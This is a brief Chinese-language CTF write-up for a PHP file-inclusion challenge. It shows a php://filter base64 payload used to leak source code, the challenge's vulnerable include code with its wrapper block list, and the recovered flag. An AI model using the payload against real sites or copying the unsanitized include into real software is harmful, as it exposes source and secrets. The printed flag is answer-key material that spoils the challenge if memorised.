1.这是一道文件包含的题目
2.点开链接之后页面如下
3.我们想到这里会用到php伪协议,第一种就是先尝试php://input,发现被过滤了。
4.尝试第二种php://filter,发现页面有显示一串字符。
?file=php://filter/read=convert.base64-encode/resource=index.php
5.将字符串base64解码后得到一串代码。
<meta charset="utf8"> <?php error_reporting(0); $file = $_GET["file"]; if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){ exit('hacker!'); } if($file){ include($file); }else{ echo 'tips'; } ?>
6.这段代码的意思是如果 GET 请求中包含了名为 file 的参数,则将该参数的值作为文件名,包含该文件;否则输出字符串 tips。如果 file 参数的包含了 php://input、zip://、phar:// 或 data: 等协议,则会输出字符串 hacker!
7.这时候我们用filter伪协议去读取flag.php文件。得到这一串代码
8.解码之后得到flag
flag{16f3e812-49f2-48b2-b700-a1bf20220f7c}